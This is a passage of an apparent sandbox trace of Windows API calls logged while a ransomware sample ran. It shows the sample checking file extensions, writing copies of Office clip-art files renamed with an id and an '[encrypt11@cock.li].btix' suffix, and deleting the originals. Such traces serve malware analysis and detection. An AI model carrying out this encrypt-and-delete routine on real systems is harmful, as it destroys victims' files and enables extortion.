(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.138] lstrlenW (lpString=".zip") returned 4 [0148.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.138] lstrlenW (lpString=".rar") returned 4 [0148.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.138] lstrlenW (lpString=".bz2") returned 4 [0148.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.138] lstrlenW (lpString=".7z") returned 3 [0148.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.138] lstrlenW (lpString=".dbf") returned 4 [0148.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.138] lstrlenW (lpString=".1cd") returned 4 [0148.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.139] lstrlenW (lpString=".jpg") returned 4 [0148.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.139] lstrlenW (lpString=".doc") returned 4 [0148.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString=".docx") returned 5 [0148.139] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.139] lstrlenW (lpString=".pdf") returned 4 [0148.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString=".xls") returned 4 [0148.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.139] lstrlenW (lpString=".xlsx") returned 5 [0148.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.139] lstrlenW (lpString=".ppt") returned 4 [0148.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.139] lstrlenW (lpString=".zip") returned 4 [0148.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.139] lstrlenW (lpString=".rar") returned 4 [0148.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString=".bz2") returned 4 [0148.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString=".7z") returned 3 [0148.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.139] lstrlenW (lpString=".dbf") returned 4 [0148.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.139] lstrlenW (lpString=".1cd") returned 4 [0148.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.139] lstrlenW (lpString=".jpg") returned 4 [0148.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.140] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.140] lstrlenW (lpString="HH02312_.WMF") returned 12 [0148.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.140] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4970) returned 1 [0148.140] CloseHandle (hObject=0x384) returned 1 [0148.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0148.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.140] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.140] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.141] GetLastError () returned 0x0 [0148.141] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x136a, lpOverlapped=0x0) returned 1 [0148.142] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1370, lpOverlapped=0x0) returned 1 [0148.143] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.143] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.143] SetEndOfFile (hFile=0x388) returned 1 [0148.143] CloseHandle (hObject=0x388) returned 1 [0148.143] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.143] SetEndOfFile (hFile=0x384) returned 1 [0148.144] CloseHandle (hObject=0x384) returned 1 [0148.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0148.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.144] lstrlenW (lpString=".doc") returned 4 [0148.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.144] lstrlenW (lpString=".docx") returned 5 [0148.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.144] lstrlenW (lpString=".pdf") returned 4 [0148.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.144] lstrlenW (lpString=".xls") returned 4 [0148.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.144] lstrlenW (lpString=".xlsx") returned 5 [0148.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.145] lstrlenW (lpString=".ppt") returned 4 [0148.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.145] lstrlenW (lpString=".zip") returned 4 [0148.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.145] lstrlenW (lpString=".rar") returned 4 [0148.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.145] lstrlenW (lpString=".bz2") returned 4 [0148.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.145] lstrlenW (lpString=".7z") returned 3 [0148.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.145] lstrlenW (lpString=".dbf") returned 4 [0148.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.145] lstrlenW (lpString=".1cd") returned 4 [0148.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.145] lstrlenW (lpString=".jpg") returned 4 [0148.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.145] lstrlenW (lpString=".doc") returned 4 [0148.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.145] lstrlenW (lpString=".docx") returned 5 [0148.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.145] lstrlenW (lpString=".pdf") returned 4 [0148.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.145] lstrlenW (lpString=".xls") returned 4 [0148.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.145] lstrlenW (lpString=".xlsx") returned 5 [0148.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.145] lstrlenW (lpString=".ppt") returned 4 [0148.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.146] lstrlenW (lpString=".zip") returned 4 [0148.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.146] lstrlenW (lpString=".rar") returned 4 [0148.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.146] lstrlenW (lpString=".bz2") returned 4 [0148.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.146] lstrlenW (lpString=".7z") returned 3 [0148.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.146] lstrlenW (lpString=".dbf") returned 4 [0148.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.146] lstrlenW (lpString=".1cd") returned 4 [0148.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0148.146] lstrlenW (lpString=".jpg") returned 4 [0148.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.146] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.146] lstrlenW (lpString="HH02313_.WMF") returned 12 [0148.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.147] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=3082) returned 1 [0148.147] CloseHandle (hObject=0x384) returned 1 [0148.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0148.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.147] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.147] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.147] GetLastError () returned 0x0 [0148.147] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xc0a, lpOverlapped=0x0) returned 1 [0148.148] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xc10, lpOverlapped=0x0) returned 1 [0148.149] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.149] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.149] SetEndOfFile (hFile=0x388) returned 1 [0148.149] CloseHandle (hObject=0x388) returned 1 [0148.149] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.149] SetEndOfFile (hFile=0x384) returned 1 [0148.150] CloseHandle (hObject=0x384) returned 1 [0148.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0148.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.151] lstrlenW (lpString=".doc") returned 4 [0148.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.151] lstrlenW (lpString=".docx") returned 5 [0148.151] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.151] lstrlenW (lpString=".pdf") returned 4 [0148.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.151] lstrlenW (lpString=".xls") returned 4 [0148.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.151] lstrlenW (lpString=".xlsx") returned 5 [0148.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.151] lstrlenW (lpString=".ppt") returned 4 [0148.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.151] lstrlenW (lpString=".zip") returned 4 [0148.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.151] lstrlenW (lpString=".rar") returned 4 [0148.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.151] lstrlenW (lpString=".bz2") returned 4 [0148.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.151] lstrlenW (lpString=".7z") returned 3 [0148.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.151] lstrlenW (lpString=".dbf") returned 4 [0148.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.151] lstrlenW (lpString=".1cd") returned 4 [0148.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.152] lstrlenW (lpString=".jpg") returned 4 [0148.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.152] lstrlenW (lpString=".doc") returned 4 [0148.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.152] lstrlenW (lpString=".docx") returned 5 [0148.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.152] lstrlenW (lpString=".pdf") returned 4 [0148.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.152] lstrlenW (lpString=".xls") returned 4 [0148.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.152] lstrlenW (lpString=".xlsx") returned 5 [0148.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.152] lstrlenW (lpString=".ppt") returned 4 [0148.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.152] lstrlenW (lpString=".zip") returned 4 [0148.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.152] lstrlenW (lpString=".rar") returned 4 [0148.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.152] lstrlenW (lpString=".bz2") returned 4 [0148.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.152] lstrlenW (lpString=".7z") returned 3 [0148.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.152] lstrlenW (lpString=".dbf") returned 4 [0148.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.152] lstrlenW (lpString=".1cd") returned 4 [0148.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0148.152] lstrlenW (lpString=".jpg") returned 4 [0148.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.153] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.153] lstrlenW (lpString="HM00005_.WMF") returned 12 [0148.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.153] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=23300) returned 1 [0148.153] CloseHandle (hObject=0x384) returned 1 [0148.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0148.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.153] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.153] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.154] GetLastError () returned 0x0 [0148.154] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x5b04, lpOverlapped=0x0) returned 1 [0148.155] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x5b10, lpOverlapped=0x0) returned 1 [0148.156] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.156] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.156] SetEndOfFile (hFile=0x388) returned 1 [0148.156] CloseHandle (hObject=0x388) returned 1 [0148.156] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.156] SetEndOfFile (hFile=0x384) returned 1 [0148.157] CloseHandle (hObject=0x384) returned 1 [0148.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0148.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.158] lstrlenW (lpString=".doc") returned 4 [0148.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.158] lstrlenW (lpString=".docx") returned 5 [0148.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.158] lstrlenW (lpString=".pdf") returned 4 [0148.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.158] lstrlenW (lpString=".xls") returned 4 [0148.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.158] lstrlenW (lpString=".xlsx") returned 5 [0148.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.158] lstrlenW (lpString=".ppt") returned 4 [0148.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0148.158] lstrlenW (lpString=".zip") returned 4 [0148.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.158] lstrlenW (lpString=".rar") returned 4 [0148.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.158] lstrlenW (lpString=".bz2") returned 4 [0148.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.158] lstrlenW (lpString=".7z") returned 3 [0148.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.158] 